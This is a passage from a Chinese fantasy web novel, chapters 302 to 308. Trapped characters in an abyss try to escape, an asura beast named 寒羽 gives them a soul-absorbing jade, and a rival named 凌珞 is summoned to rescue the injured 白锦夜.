“那不会以后都这么吵吧?那要怎么睡啊?”左辞无语,“我在军中那么多年,见过打呼噜的多了去了,也没有一个能到这程度的,这哪是打呼噜,这分明就是打雷。” 裴子墨笑了笑,“你若是真想睡觉,我可以帮你。”她说着抬手在左辞额前摸了一把,左辞当即一闭眼,趴在桌子上睡了过去。 她也转头看向白锦夜,低声道,“凌幽这个人,我不了解,但是这世上最不缺的,就是聪明人。‘神冥公’一脉,经常往地府走,总会知道一些其他人不知道的秘密。有佛便有魔,有鬼便有仙,凌幽那些年常去地府,对成仙一事说不定更为执着,也许……他有什么其他的发现。” “那裴黎,是真的成仙了么?”白锦夜微微拧了拧眉,按照裴子墨之前说的,遁世岛应该是不希望任何人成仙的。 裴子墨摇了摇头,“那仙劫也不过是遁世岛的幌子,他们在这世上设置了很多的法阵,一旦有人的实力达到某条线,就会引发所谓的仙劫,只有扛过那雷劫的人,才会真正引起遁世岛的注意。” “裴黎不算是扛过雷劫,但是只有实力到达那条界限之后,才能隐约地感受到这世上的仙气,以后再修炼,其实是要靠仙气的,只不过……当今世界,这仙气已经少之又少。” 说到这,白锦夜想起了什么,“之前咱们去地府的时候,因为咱俩跳了忘川,所以裴黎就在奈何桥头等我们,我背着你过去的时候,你昏迷不醒,那时候裴黎好像是在修炼,当时她身边的空气像是有几丝扭曲。” 裴子墨皱起眉头,当时她在忘川里受了伤,而且最大的封印也是在忘川里破开,那会她受着封印的冲击,整个人都在昏迷之中,所以当时完全不知道发生了什么。 这么说来的话,这趟地府之行,有收获的可不是她一个人呢。 第303章 走了最好就不要再回来了 修罗一直睡到第二天左辞做饭的时候才醒过来,确切的说,是被香味勾醒的。 然后他就一直蹲在灶台边,看着左辞做饭。 左辞觉得,他只要把饭菜从锅里端出来的那一瞬间,就会被他一口吃空。 犹豫了会,他决定跟他讲讲道理,“你看到那个女子了么?” 修罗眼睛直直地盯着锅,点了点头。 “咱们男人得谦让,让女人先吃饱对不对?”左辞又道。 修罗没反应。 “女人呢,比较柔弱……” “她不弱。”修罗打断左辞的话,“肯定比你强。” 左辞,“……”他吸了一口气,“但是在我们这里,就是要给女人先吃饱,身体强壮的人就要让着身体柔弱的人。” “身体柔弱的人本来也很难存活,为什么不让强壮的人吃饱了好好活着?”修罗不懂。 左辞无语,他真是脑袋抽了才会想着跟一个兽类讲道理,“总之,在这里,他们要先吃饱,然后是我,最后才是你。” 修罗终于从锅里抬起眼,看着左辞,咧开嘴,龇出獠牙。 “诶呦,你吓唬我。”左辞拿着勺子对着他,“我可告诉你,你把我吓坏了我就做不了饭了,到时候饿死你。” “行了,左辞,别逗他了。”裴子墨看了一眼,“做好了赶紧开饭吧。” 左辞叹了口气,真是不当家不知柴米贵,这地窖里的东西可是有数的,吃一点少一点,他们三个人还好,现在多了一张大嘴,他都快愁死了。 几天下来,地窖的东西就少了一半,修罗大概看得出来,左辞是掌握吃喝大权的人,所以几乎每天都是跟在左辞屁股后面,甚至于这些天也都没再提起地府的事。 左辞眼见着粮食越来越少,忍不住开始唉声叹气。 裴子墨自然知道他在担忧什么,于是趁着修罗狼吞虎咽的时候,不经意地问起,“诶,你在这里多久了?” 修罗喝了一大口汤,咽下去了,才看向裴子墨,“我叫寒羽。” 裴子墨点点头,又问了一遍,“寒羽,你在这里多久了?” 寒羽眨巴着眼睛想了好长时间,最后只是说,“很久了。” “那你还记得,你是怎么来的么?”裴子墨又问。 寒羽吃饭的速度慢慢降下来,最后嘴里的饭也不嚼了,呆了好半天,“有个人,跟我说,带我去吃好吃的。” 左辞没忍住就笑出了声,果然嘴馋就会被骗。 “你笑什么?”寒羽微微有些恼怒,“他确实给了我好吃的,总比……地府那些魂魄好吃。” “那给你吃了什么啊?”左辞开口问。 寒羽眨巴了下眼睛,眼里带了点恶趣味,“不知道,反正跟你们长得差不多。” 左辞恶寒,他就不该问这个问题。 裴子墨便又继续问,“那你还记不记得,他带你出来,都要做什么?” 寒羽这一次放下了饭碗,盯着自己的手腕发呆,裴子墨也跟着看过去,便见他的手腕上密密麻麻的很多道伤疤。 她轻轻地叹了口气,“你爹看到,肯定要心疼了。” 寒羽这时终于想起自己进了这个院子,但是没有把这三个人吃掉的原因,他转头看向白锦夜,“你什么时候送我回地府?” 白锦夜转头看他,“我倒是想送你回去,但是眼下确实没什么办法,我们也是被困在这里,如果能从这里出去,也许还能想想怎么送你。” “从这里出去……”寒羽轻轻皱起眉头。 白锦夜转头和裴子墨对视了一眼,裴子墨其实并不知道怎么从这里出去,唯一的就是等,等有人能来把他们带出去。 按照裴子墨以前的推算,生机既然在这深渊之下,就是一定能出去。 等不来外人救援,那就意味着,这里有人能把他们带出去。 如果凌幽一直在这地下养着寒羽,凌幽就一定有进出的通道。 他能出去的话,就算别人出不去,白锦夜也是一定能出去的。 左辞也立刻明白了白锦夜和裴子墨的用意,跟着开了口,“哎,这里什么都没有,做出来的饭菜真是难吃了,如果能出去,我能做出比这好吃一万倍的饭菜。” 寒羽看了左辞一眼,呷了呷嘴,像是想到了什么,起身就向外面走。 左辞怔了一下,要跟上去,却被白锦夜拉住,“让他自己先去看看吧。” 寒羽这一走,估摸着用了两三天的时间才回来,进了门,先是吃了不少东西,才在三个人期盼的目光下开了口,“有一条路,但是我过不去。” “有路就好。”裴子墨笑道,顿了顿,又看向左辞,“你做些面食,按照两个人五天的饭量准备。” “两个人五天?”左辞挠了挠头,“够么?” “我可以不用吃。”白锦夜知道,既然要赶路,能少带一点就少一点。 “寒羽也不用。”裴子墨也道,说完也不等寒羽辩驳,就继续道对着他道,“不差这几天,等出去了让你吃好的。” 寒羽本来还想说什么,但是想着出去既能吃到好吃的,又能回到地府,于是也就忍了下来。 之前呆在这,虽然早知道要离开,可是也没觉得怎么样,现在真的要走了,裴子墨看着屋子里,多少还是有点不舍。每一样都想带走,但又觉得其实每样东西也并不属于她,没有必要带走。 纠结到最后,也就只是带上了木匣。 白锦夜看着她的模样,轻轻叹了口气,这会以他的身份,自然也不好说什么。 关上院门的时候,裴子墨还是不舍地往院子里看了几眼。 左辞背着包裹,忍不住开口道,“师父,咱们只要能找到路出去,就应该还有机会再回来,你要是舍不得,以后咱们隔三差五的回来住上个一两天。” “快走吧。”寒羽催促,“这地方有什么好的,等你们有机会去地府,我带你们去玩,那里才好呢。” “呸。”左辞啐了一口,“不会说话,谁要去地府?” 裴子墨收回目光,也没解释什么,只是迈步往前走,“走吧,这地方,走了最好就不要再回来了。” 第304章 华精玉 寒羽在前面带路,他走得快,走一段就要停下来等一等其他人。 随后就要抱怨几句他们太弱走得太慢一类的话。 左辞自从跟着裴子墨修习术法之后,也感觉自己的身体强壮了不少,背着不少东西,现在赶起路来一点都不费劲,可也只是跟以前的自己比,跟寒羽比,那还是差很多的。 而且他又不敢把粮食给寒羽背着,怕只要到了他手里,用不上一个时辰,就什么都没有了。 走了差不多两天,才终于到了寒羽说的出去的路。 他抬手往前指了指,“就是这里了,只要能从这里过去,就能出去。” 裴子墨拧眉看着前面,隔了会才转头看向白锦夜,“看样子,要你过去看一看了。” 白锦夜还没等说话,就感觉到自己的身体不受控制了,他有点无奈地看向裴子墨。 “我感觉前面有一丝异常,我大概不能直接过去,但是你过去也不一定能知道是什么。”裴子墨解释了一句。 白锦夜也就只能被她控制着往前走。 前面的地上有阵法,但是已经被人擦去了,看着这手法,就是寒羽所为,只不过阵法之后,就没有什么脚印了,大概是寒羽走到这便没办法再继续往前走了。 再往前走不远处,地上有一块凸起的石头。 从凸起的石头向四周蔓延着一些黑色的条纹。 白锦夜走到近前,才看清那凸起的石头上,镶嵌着一块黑色的透明的石头,这透明的石头上,还在往四周散着丝丝若有若无的黑气。 他又绕着石头转了几圈,这周围的地面上,还刻着一些阵法的纹路,都检查之后,他才回到裴子墨他们的身边。 “那个,应该就是华精玉吧?”白锦夜停下脚步开口问道。 裴子墨点点头,脸上露出一丝苦笑,“看样子,只有你能出去了。” 白锦夜皱起眉头,“不然我想办法把华精玉从石头上取下来。” “凌幽的话,未必全是不对的。”裴子墨抬眼看他,“他说华精玉和琼华山的阵法合在一起了,如果冒然把华精玉取下来,阵法被毁,说不定这深渊都要坍塌,到时候我们就都出不去了。” “可是……我也不能把你们扔在这里,一个人出去。”白锦夜说着转头看了眼寒羽,他现在虽然有神智,又有求于他们,可到底也是兽类,他若是在,铜皮铁骨的,寒羽一时半会伤不到他,其他人也还有逃生的可能,但他若是不在,即便裴子墨勉强自保,那左辞也肯定是要没命了。 “你出去了,才有可能找到人来救我们。”说完,裴子墨对着左辞使了个眼色,拉着白锦夜走到一边,绕到一块石头后面,才低声道,“你离开这里,去北冥国找凌珞吧。” 白锦夜微微怔了一下,完全没想到裴子墨说的找人来救他们这个人指的会是凌珞,“可是凌珞不是不能来琼华山?” “这琼华山防止凌珞进来的阵法,是凌幽所设,现在凌幽和裴黎应该都在北冥国,甚至可能已经见过凌珞了,就算凌幽不想解开这阵法,只要裴黎在,应该就能说动他。”裴子墨说完顿了顿,“你告诉凌珞,我在这里出不去,华精玉也在这里,他就不会坐视不管。” 白锦夜拧了拧眉,总是觉得找凌珞不够靠谱,“除了凌珞,没有其他的人选么?裴黎的师叔呢?他会不会有什么办法?” “你不一定能找到裴黎的师叔。”裴子墨摇了摇头,“再说,对上华精玉这种东西,除了‘神冥公’一脉的人,其他人没什么用。你放心,凌珞会想办法的。”她说着抬起手,看着手心上的红线,“这术法只要在,他就不会不管的。” 白锦夜握住她的手,“好。” 裴子墨抬手抚上白锦夜的眉心,“这是去北冥国的路线,你路上要小心。” “嗯。”白锦夜应了一声,伸手把裴子墨拉进怀里,“等我回来。” 裴子墨笑得有点无奈,“我就在这里,哪都去不了。” * 寒羽伸着脖子张望着裴子墨和白锦夜的方向。 左辞拦在他前面,“人家说悄悄话呢,你别往上凑。” “悄悄话?”寒羽不懂,“你看他分明是在咬她?” 左辞下意识地回头看了一眼,又赶紧收回目光,抬手搂住寒羽的脖子,把他给拉了回来,“你不懂,非礼勿视。” “什么意思?”寒羽看着他,又问,“他们在干什么?” 左辞咳了两声,“这个是……一种礼节,当人和人告别的时候……咳,你个兽类,你不用明白人类之间的这些事。” 寒羽看着左辞,一副似懂非懂的模样。 不多时,裴子墨和白锦夜便走了回来。 白锦夜对着左辞交代了几番,才又看向寒羽,“我出去之后,会找人来救你们出去,到时候就可以送你回地府,不过我不在的这段时间,你要帮我保护他们。” 寒羽看了看白锦夜,又看了看裴子墨,在他眼里,裴子墨肯定要比白锦夜厉害,就算白锦夜留下,那也是裴子墨保护他,怎么也轮不到他来保护裴子墨啊。 不过归根到底,这些人都比他弱,所以让他来保护,也没什么不对。 这么想着,他也就点了点头。 白锦夜这才看向裴子墨,想说的话有很多,可最终也就只说了一句,“那我先走了。” 裴子墨点点头,“路上小心。” 白锦夜多少有些不舍,自从裴子墨这次回到他身边之后,他就一天都不想再跟她分开,可这一次不知道要多久才能再见面。 他轻轻地叹了口气,这才转身往前走。 等着白锦夜的身影消失,裴子墨也才转过身,带着左辞他们往回走。 来的路上开开心心,回去就多少有点沉重了,左辞叹了口气,还没找到什么合适的话打破这沉默,就听到一旁的寒羽朝着裴子墨问道—— “刚刚他是在咬你么?还是你在咬他?他比你弱,应该是你在咬他吧?” 第305章 你敢出声,我就咬死你 一路走回到院门前,裴子墨有些无奈,离开的时候还说不要再回来了,没想到这么快就又要回来住。 白锦夜不在,左辞觉得裴子墨发呆的时候变多了不少。 等着寒羽睡着了,他才抱了一坛酒走到院子里,给裴子墨倒了一杯,自己也坐了下来。 裴子墨看了看杯里的酒,推到了左辞面前,“你喝吧,我不想喝。” 左辞也没有勉强,喝了口酒,才开了口,这一次也换回了以前的称呼,“王妃,其实你心里有王爷的吧?” 裴子墨抬眼看着他,没有说话。 “这几天王爷不在,你眼见着都没有之前开心了。”左辞继续道。 “我只是担心。”裴子墨垂下眼。 “王爷做事靠谱着呢,没什么可担心的。”左辞赶紧安慰,“王爷说了会回来救我们,就一定会的,以前我们跟着王爷打仗的时候,只要王爷说过的话,就没有做不到的。再说,你对王爷来说,可是最重要了,王爷一定会用最快的速度回来的。” “我不担心这个。”裴子墨说完,倒也没有解释自己在担心什么,反倒看向左辞转移话题,“还记得之前我给你算的卦么?怎么样,之后是不是该考虑考虑自己的终身大事了?” 左辞挠了挠头,“王妃你就打趣我,我还想等你和王爷有了小世子,我就每天看孩子呢。”说完他又赶紧摇了摇头,“不过我这五大三粗的,肯定也照顾不好孩子,我就教他武功吧。”只是这句说出来,他又觉得不对,“但估计也不用,王爷武功比我高,王妃你也这么厉害。” 说到这,他轻轻地叹了口气,“王妃,你是不是觉得我好没用,什么都干不了了。” 裴子墨笑了笑,“你怎么会没用呢?以后还有很多事要你做呢。” “我知道王妃你是在安慰我。”左辞吸了吸气,“不过没关系,只要你和王爷好,就好了。” 裴子墨看着左辞自斟自饮,知道他也是快醉了,就没再搭话。 便知剩下左辞,一会说说以前白锦夜带着他们在战场上的事,一会又提起在复州之时,白锦夜半夜找他喝酒聊心事的话。 没多久,就抱着酒坛子睡着了。 裴子墨找了条薄毯给他披上,便回了房间。 坐在桌前,她看着桌上的木匣,伸手想要打开,但是碰上木匣子的盖子,她又犹豫了。 她不知道这木匣里是什么,但既然被存放在那,自然应该是重要的东西。 犹豫了半响之后,她觉得自己还是没有做好打开木匣的准备,便收回了手,回到床上去睡了。 左辞睡得正香,突然感觉到有人在推自己。 他迷蒙地睁开眼睛,见到寒羽站在他旁边,只是还不等他问什么,寒羽就伸手捂住了他的嘴,低声道,“跟我走。” 左辞不知道他要干什么,但是下意识地摇了摇头,一点都不想跟他走。 寒羽像是没了耐心,一把抓住左辞的腰带,把他扛在肩上就往外走。 左辞本能地想要张嘴喊救命。 “你敢出声,我就咬死你。”寒羽说完又补充,“咬死你之后,再咬死那个女的。” 左辞当即捂住了自己的嘴,眼看着那小远离自己越来越远,莫名地想到睡着之前裴子墨问他终身大事的话,他甚至都担心寒羽这是不是要把自己抢回去做压寨夫人。 难道就因为他做的饭菜好吃? 可他也没办法啊,他以往也很少下厨的,但是在这种地方,总不能让他家王爷王妃亲自下厨吧? “你要带我去哪?我跟你去就是了,你快点放我下来吧。”左辞定了定神,开口问道。 寒羽准备放左辞下来,但犹豫了下,想起之前左辞走路慢吞吞的样子,还是放弃了,“我有好东西给你。” “什么好东西?”左辞开口问道。 寒羽想了会,像是不知道该怎么形容,只能说,“到了你就知道了。” * 寒羽带着左辞出院子的时候,裴子墨就知道了,但是感觉到寒羽没什么恶意,她也就没有管,以寒羽的能力,她若是跟上去,他肯定是会发现的,而他这又显然是在避着她,于是也就在房间里等着他们回来。 不过倒也没过多久,裴子墨就听到外面隔着老远寒羽就开始喊她。 她一怔,赶紧起身出了门。 寒羽把左辞放到院子里,看着左辞软绵绵的身体,一脸的不知所措,“你快看看他怎么了,他怎么了?” 他一脸的惊慌,虽然他不清楚到底发生了什么事,可是他也知道,以往他吃人的时候,那些人要是变成眼前这样一副软绵绵的样子,再也不会挣扎,那就是死了。 可是他没有想要害死左辞啊。 裴子墨赶紧蹲下来,查看了下左辞,才看向寒羽,“你带他去哪了?做什么了?” 寒羽摇了摇头,没有说话。 “你不告诉我,我就没法儿救他,他会死的。”裴子墨有点急,站起身盯着寒羽,“你到底对他做什么了?” “我没有……”寒羽往后退了一步,像是有些挣扎,隔了好一会,才在怀里掏了掏,拿出来一样东西,“就是……我觉得他每天给我吃的,又那么好吃,我也想给他点东西,但是我也没什么……只有这个,这可是很好的宝贝,我只是想要给他这个宝贝……” 裴子墨往寒羽的手里看去,是一块翠绿的石头,她微微拧了下眉,“这是什么?” 寒羽摇了摇头,“我也不知道这是什么,但是这东西很难得的,在地府里面,他们每隔百年才允许我们修罗去一次这个地方修炼,而且每次只能去两个人,这东西很好的,可以……可以……”他像是想了很久,才想到这个词,“可以养魂魄。” “养魂魄?”裴子墨诧异地看着寒羽,“这是华精玉?” 寒羽想了会,“我不知道它叫什么,但是在地府,有一整座山都是这个,任何人都不准擅自靠近的。” 裴子墨的脸色有些难看,“如果这是华精玉,那我们之前看到的那个是什么?” 第306章 死路 寒羽不知道裴子墨再说什么,只能茫然地摇了摇头。 裴子墨知道,眼下不是纠结这件事的时候,如果寒羽手里的是华精玉,那左辞作为一个普通人,碰到华精玉,显然是魂魄被吸到了华精玉之中。 “你把它放在地上。”裴子墨也不敢碰这东西,只能看着寒羽把它放在地上之后,从袖袋里摸出了一张符咒,她也不清楚要怎么才能把左辞魂魄从里面拽出来,若是白锦夜在这,说不定还能有什么其他的办法,但是眼下她也只能试。 但也不能耽搁太久的时间,时间久了,左辞的魂魄回不到身体里,他可就真的死了。 裴子墨急得满头是汗,寒羽看的出来,自己这是惹祸了,这会就安安静静地蹲在一边,也不敢打扰她。 不知道过了多久,左辞才呼了一口气,睁开眼睛,迷茫地看着周围,“王妃,我这是怎么了?” 裴子墨见状终于松了口气,腿一软就坐在了地上,若是左辞真的出了事,别说她能不能对白锦夜有个交代,就是她心里这一关她都过不去。 还没等到任何人回答,寒羽就一把把左辞抱住,“你没死,太好了,你死了谁给我做饭吃啊,你不能死!” 左辞挣扎了半天,才推开了寒羽,转头看向裴子墨,“王妃……是我不好,让你担心了,我以后可不会跟别人乱跑了。”他说着狠狠地瞪了一眼寒羽。 寒羽理亏,也没敢出声反驳。 裴子墨没有说话,只是盯着地上的这块翠绿的石头,不知道在想什么。 隔了半响,她才站起身,“寒羽,你把这块玉石拿起来放好,不要给任何人。”顿了顿她才补充,“我知道你认为这是宝贝,这也确实是好东西,但是它毕竟是地府的东西,左辞只是一个普通人,没办法碰地府的东西的。” “好吧。”寒羽有点失望的把华精玉捡起来,放进怀里,又看向左辞,“没关系,等以后我找到了其他的宝贝,再送给你。” 左辞连连摆手,寒羽给的东西,他可是再也不敢要了。 刚才寒羽带着他出去,也没去别的地方,就是走到他那天不小心弄出来的那堆枯骨那里,寒羽让他在外面等着,自己进去翻了半响,拿了这块玉出来。 左辞当然也看得出来这是个好东西,寒羽偷偷摸摸的把他叫过来,不想让别人知道,显然他自己也明白这东西的重要性,于是就想着先拿过来仔细看下。 只不过没想到这东西一放到他手里,他当下就没了知觉。 这会听裴子墨说这东西是从地府来的,他可真是谢谢寒羽全家,差一点他就要比寒羽先去地府见寒羽他爹了。 裴子墨思索了会,才对着左辞开口道,“你休息会,若是觉得没什么事,咱们就准备下,出发去找白锦夜吧。” 左辞看着裴子墨的凝重表情,也知道可能是有什么事要发生,不敢再耽搁时间,“我感觉挺好的,没有什么事,我现在就准备,咱们很快就能出发。” 裴子墨也就点点头,在石桌边坐下来,闭上眼睛。 等再睁开眼睛之时,便只见周围一片黑暗。 她的本命玉佩在白锦夜身边,她也可以短暂的找到他,“白锦夜,白锦夜。” 她唤了几声,却也没有任何回应。 她只能仔细地感受周围的气息,起码属于白锦夜的冥尸气息,她应该是可以感受到的。 可眼下这丝气息极弱,感受了半响,才有一丝若有若无的气息,这气息少到她甚至都没办法辨别方向。 裴子墨有点慌,但也只能强迫自己冷静下来,四处走一走,看看哪边的气息能强一些。 终于在某个角落,她听到极细微的一声闷哼,她赶紧走过去,便见到白锦夜躺在地上,正要再往前走,却见白锦夜抬起手止住她的脚步。 他侧头看着她,随即一大口血就喷了出来。 裴子墨此时只是一丝魂魄之力,自然不用顾忌太多,所以还是往前走去,她蹲下来,检查了下白锦夜的情况,他身上有细碎的伤口,虽然不深,但也没有愈合,还在流血。 白锦夜垂眼看着她,低声道,“这……是不是我的幻觉?听说人快死的时候,都会出现幻觉……” “不是,你不会死。”裴子墨拧着眉,扶着白锦夜坐起来,擦了擦他嘴角的血,“你遇到什么了?” 白锦夜眯眼想了会,才道,“那不是出路,是条死路,你们别过来。”顿了顿他又道,“我被困在这里了,找不到任何出路,想回去,也走不掉……这里的阵法会攻击,我实在……没办法了。” “没事的。”裴子墨看着他,“你在这里不要动,你只要不动,阵法就不会攻击你,冥尸会有一些自愈能力,你不会死的。你相信我么?白锦夜,冥尸不会死。” 白锦夜笑了笑,“我相信你。” 裴子墨吸了一口气,放白锦夜重新躺下来,抬手沾着他的血,在他的周围画下一圈的阵法,“这阵法暂时可以保护你。”说完她又在旁边画了个极小的阵,这个阵可以指引她走过来找到他,“你就在这里不要动,等我过来。” 白锦夜点点头,抬眼看着裴子墨,又伸手抓了抓她,意识像是有些模糊,“子墨,别走……” 裴子墨狠狠地皱起眉头,“白锦夜,我在这里呆不了太久,但是我很快就会来找你。” 白锦夜闭上眼,没有再说话,嘴角也只是微微动了下,像是想要说什么,可最终也没有说出来。 裴子墨吸了一口气,双手死死地握成拳,她知道,她现在呆在这也不解决任何问题,只能迅速的离开。 回到小院,裴子墨睁开眼,盯着手里的红线,咬了咬唇,抄起七杀斩,对着红线划了过去。 红线被斩断的同时,在北冥国的凌珞猛地睁开眼睛坐起身,他垂眼看了看自己手心的红线,起身就往外面走。 第307章 凌珞,你得去救他 左辞准备好了东西,正要出门叫上裴子墨出发的时候,却见裴子墨趴在石桌上,手心还在滴血。 他吓了一跳,下意识地看向寒羽。 寒羽一边摆手一边往后退了几步,“跟我没关系啊,是她自己不知道抽什么风拿着剑自己划伤自己的,我想阻止的,就是慢了一步。” 左辞赶紧过去查看了下裴子墨的情况,她除了手心上的伤口,倒是没有别的伤,手心的伤也不像是很严重,可是就是一直在流血。 而且她虽然昏迷,可气息倒也平稳。 他只能先找东西帮她包扎了伤口,眼下这样也没办法出门去找白锦夜了,只好先把裴子墨抱进了房间。 寒羽跟在一边,看着左辞焦虑又担心的模样,只能出声安慰,“她应该不会死。” “我谢谢你啊。”左辞没好气地看了他一眼,他也不知道裴子墨这到底是怎么了,只能在床边守着。 裴子墨一直昏迷,吃的东西喂不进去,最多只能喂进去一点水。 左辞急得已经像是热锅上的蚂蚁,她这样昏迷着,不吃不喝,又能坚持几天? “你可以不用喂她。”寒羽看着因为东西喂不进去导致浪费了不少,不由心疼,“她现在不吃东西也没事。” 左辞不想说话,甚至有点想把寒羽的嘴也堵上。 “我说的是真的,她身体里好像有一股什么奇怪的力量。”寒羽盯着裴子墨,目光最后落在她的肩头,他不知道那是什么,但是他能感觉得到。 左辞依旧没有说话,只是把包着裴子墨伤口的布又换了一遍。 只是一道伤口,可是几天了也不愈合,一直在流血,虽然这血也不多,但是什么人也架不住这么流血啊。 寒羽正要再说话,突然站起身,转身向外面看去,脸色也变得凝重起来,“有人来了。” 左辞一怔,想着这里也没有什么人,能来的估计只有白锦夜一个人。 一定是他找到了路、也找到了人来救他们。 左辞立刻起了身,开心地往外走。 可是刚走到门口,他的脚步就停了下来。 来人一身红袍,白锦夜是绝对不会穿这样夸张的衣服的。 而且眼前的人他也见过,那会白锦夜和裴子墨虽然让他和司空带着人离开了,但是他也感觉眼前这个人不像是怀着什么好意。 凌珞脚步匆匆地走过来,张口便问,“裴子墨呢?” 左辞本能地伸手想要拦他,可是却被凌珞抬手推开,他一个趔趄,还没站稳,眼见着凌珞就要进了门,却被人一掌打了出来。 寒羽堵在门口,一脸敌意地看着凌珞,他可不管他是什么人,他对左辞动手,就一定不是好人。 凌珞后退了几步才站稳,他拧眉盯着寒羽半响,又转头看向左辞,“我问你裴子墨呢?” “你找我们王妃做什么?”左辞有了寒羽撑腰,语气都硬了起来。 “你可以跟我在这耗,不知道你家王妃熬不熬得住。”凌珞微微眯起眼。 左辞犹豫了会,才把寒羽拉到了一边。 寒羽有些不情不愿的,对着凌珞龇了龇牙。 凌珞懒得理他们两个,迈步进了房间,他先是拿了一粒药塞到裴子墨的嘴里,随后又从怀里拿出一个小瓶子,把一些粉末撒在她手心的伤口上,血瞬间便止住了。 见状左辞也放下心来。 凌珞把裴子墨扶起来,顿了下,转头看向左辞,“出去,关上门。” “为什么?”左辞不解,“你要救人就救人,有什么好避着的,还是怕我们看到什么?” “你真是和白锦夜一样让人心烦。”凌珞拧着眉,“你要么出去关上门,要么我现在就走。” 左辞摸了摸鼻子,“我们就在门外,你最好别乱来。” 凌珞收回目光,等着门被关上,才拉开裴子墨的衣服,露出肩膀,又眯眼思索了半响,才割破自己的手心,把血滴了上去。 “呃……”肩头传来的刺痛,让裴子墨瞬间醒了过来。 左辞在门外也听得清楚,赶紧问,“王妃你醒了?没事吧?” 裴子墨睁开眼,便见到凌珞,她也知道,若是凌珞不来,她不可能醒过来,便回了左辞的话,“我没事。” 左辞提了好几天的心,这才放了下来,一屁股坐在椅子上。 寒羽拉了拉左辞的衣服,见他不动,于是就拎着他的肩膀,把他拎到了旁边的角落,低声道,“那个人,不是好人。” “这用你说么?”左辞拧着眉,“可不管他是不是好人,只要这会能救王妃,就暂且把他当好人吧。” 寒羽还想说什么,但犹豫了会,又闭上了嘴,只是警惕地盯着房间的门。 “白锦夜呢?”见裴子墨醒了,凌珞便开口问,他之前问裴黎,白锦夜是不是跟着裴子墨在一起,得到肯定回答之后,本来是放心的,只要白锦夜在,能养着裴子墨的血莲,裴子墨就不会死。 裴子墨微微抿了下唇,“凌珞,你得去救他。” 凌珞的手一紧,目光落在裴子墨的手心,说出的话都凉了几分,“你用自己的命做赌注,叫我来,就是为了让我去救他?” 裴子墨垂下眼,没有说话。 凌珞看着她的肩膀,“之前你不想让血莲吸我的血,骗我说血莲的种子剥离了,这会……为了白锦夜,连这都不顾了是么?虽然血莲本就不是只能靠一个人都得血来养,但它已经吸过白锦夜的血,你也明知道再吸我的血会有什么样的后果。” “你和白锦夜同宗同源,我与你又共命,影响也不会太大。”裴子墨轻轻皱了下眉头。 凌珞正要再说话,目光却落在桌上的木匣,他微微拧了下眉,才道,“你既然到了这里,很多事应该都想起来了。” “凌珞,现在不是说这些时候,白锦夜的情况很危险,你先去救他可以么?那里的阵法我过不去,可能是凌幽设置的,应该只有你们能过去。”裴子墨转头看他。 “好。”凌珞点点头,见着血莲已经不再吸血,便收回了手,一边给自己涂药止血,一边开口道,“我可以救他,但是你也要答应我一件事。” 第308章 那死孩子从小就喜欢穿红色的衣服 裴子墨看着凌珞,隔了半响,才点了点头,“我跟你回去。” 凌珞看了她一眼,没再说话。 裴子墨已经在白锦夜那边留了阵法,他们去也帮不上什么忙,所以也就只有凌珞一个人去了。 “王妃,咱们……不用去找王爷了么?”左辞见裴子墨已经没了出门的打算,便出口问道。 “等着就行了。”裴子墨轻轻地叹了一口气,“凌珞会把他带回来的。” “我想起来了!”寒羽突然一拍桌子站起来,“我说那个人怎么那么熟悉,就是他,就是他喝我的血!我要去弄死他!” 裴子墨赶紧给左辞使了个眼色,左辞上前一步拦住寒羽,“你是不是记错了?” “我不会记错的!那死孩子一边喝我的血还一边嫌我的血臭,那时候我就想狠狠的扇他几巴掌!”说着寒羽还要往外冲。 左辞知道凌珞是去找白锦夜,当然不能让寒羽现在去添乱,“你别冲动,他还会回来的,你现在先好好想想,到底是不是他,咱们可别冤枉了好人。”他说着拉着寒羽重新坐下。 寒羽想挣脱开左辞很简单,可是他知道左辞弱,就怕一个不小心,再把左辞给伤着,于是强行压着怒火坐下来,“没错的,一定没错的,那死孩子从小就喜欢穿红色的衣服,不知道修罗最讨厌红色么?” “讨厌红色?”左辞诧异到底看着寒羽。 寒羽立刻闭上了嘴,感觉自己说了什么不得了的秘密出来,憋了好一会,又重新道,“不行,反正我要去弄死他,你别拦着我。” “咱们现在得靠他把咱们救出去呢。”左辞叹了口气,“要不然这样吧,你现在先忍忍,等咱们从这出去了,你想对他做什么,我都不拦着你,等你弄死他,王爷再把你送回地府,你回了地府,还能再继续欺负他,怎么样?” 寒羽眨巴了下眼睛,想了半响觉得这样不亏,勉强地点了点头。 裴子墨这才叹了口气,抬眼继续看向院子外面。 又等了几天,凌珞才扛着一身血的白锦夜回来。 左辞这下更慌了,先是裴子墨昏迷不醒,现在白锦夜又身受重伤,他感觉自己的心脏是彻底的快要承受不住了。 白锦夜的身上有伤,凌珞也不能说没管,只是随便用了点药勉强地保住了他的命。 裴子墨给白锦夜检查了一番,只能转身出去跟凌珞拿药。 凌珞拧着眉,“人已经救回来了,现在死不了,让他的人照顾他,你跟我走。” “等他醒了。”裴子墨伸着手,显然凌珞不给她药,她也不会就这么听话的跟他走,说着她瞥了一眼站在不远处的寒羽,“你知道那是什么,我若是不想跟你走,你也没办法。” 凌珞转头看了寒羽一眼,冷笑一声,“子墨,你可真会过河拆桥。”话是这么说,他还是掏出了药,扔了过去。 裴子墨接过药,转身回了房间。 凌珞这才转过身,往寒羽的方向走了几步,他打量了寒羽半响,像是想起了什么,“我们应该见过吧?” “何止是见过,你不就是喝人家血长大的么?”左辞在旁边嘟囔了一句。 凌珞了然,也确认了寒羽的身份,想了会,他才问,“你在这里,有没有见过一块绿色的石头?” 寒羽一怔,下意识地护住自己的胸口。 这下不用他回答,凌珞也知道华精玉就是在寒羽的身上了,他笑着点了点头,没再说话。 左辞对寒羽的动作也是不由无语地翻了个白眼,他看得出来,凌珞多少是顾忌寒羽的,所以应该也不会下手明抢,只不过以寒羽这个脑子,恐怕他得多跟着上点心了。 白锦夜差不多一天一夜才醒过来,也还是虚弱得不行。 裴子墨也知道,他这下恢复起来,恐怕要不少时间了,上次鬼卿受伤,就养了很久,她轻轻叹了口气,看着他低声道,“你没事就好了,这一次是我大意了,我没有见过华精玉,以为那里就是,差点害了你。” 白锦夜微微摇了摇头,正要说话,却感觉到了什么,抬眼向外面看去。 他隐约的有些模糊的记忆,把他带出来的,肯定不是裴子墨,“凌珞?”他动了动嘴唇,气息微弱。 裴子墨点点头,又道,“我暂时……要跟他先回北冥国了。” 白锦夜怔了一下,也想到了,凌珞去救他,恐怕是裴子墨答应了他什么条件,他费力地抬手抓住裴子墨的衣角,对着她摇了摇头。 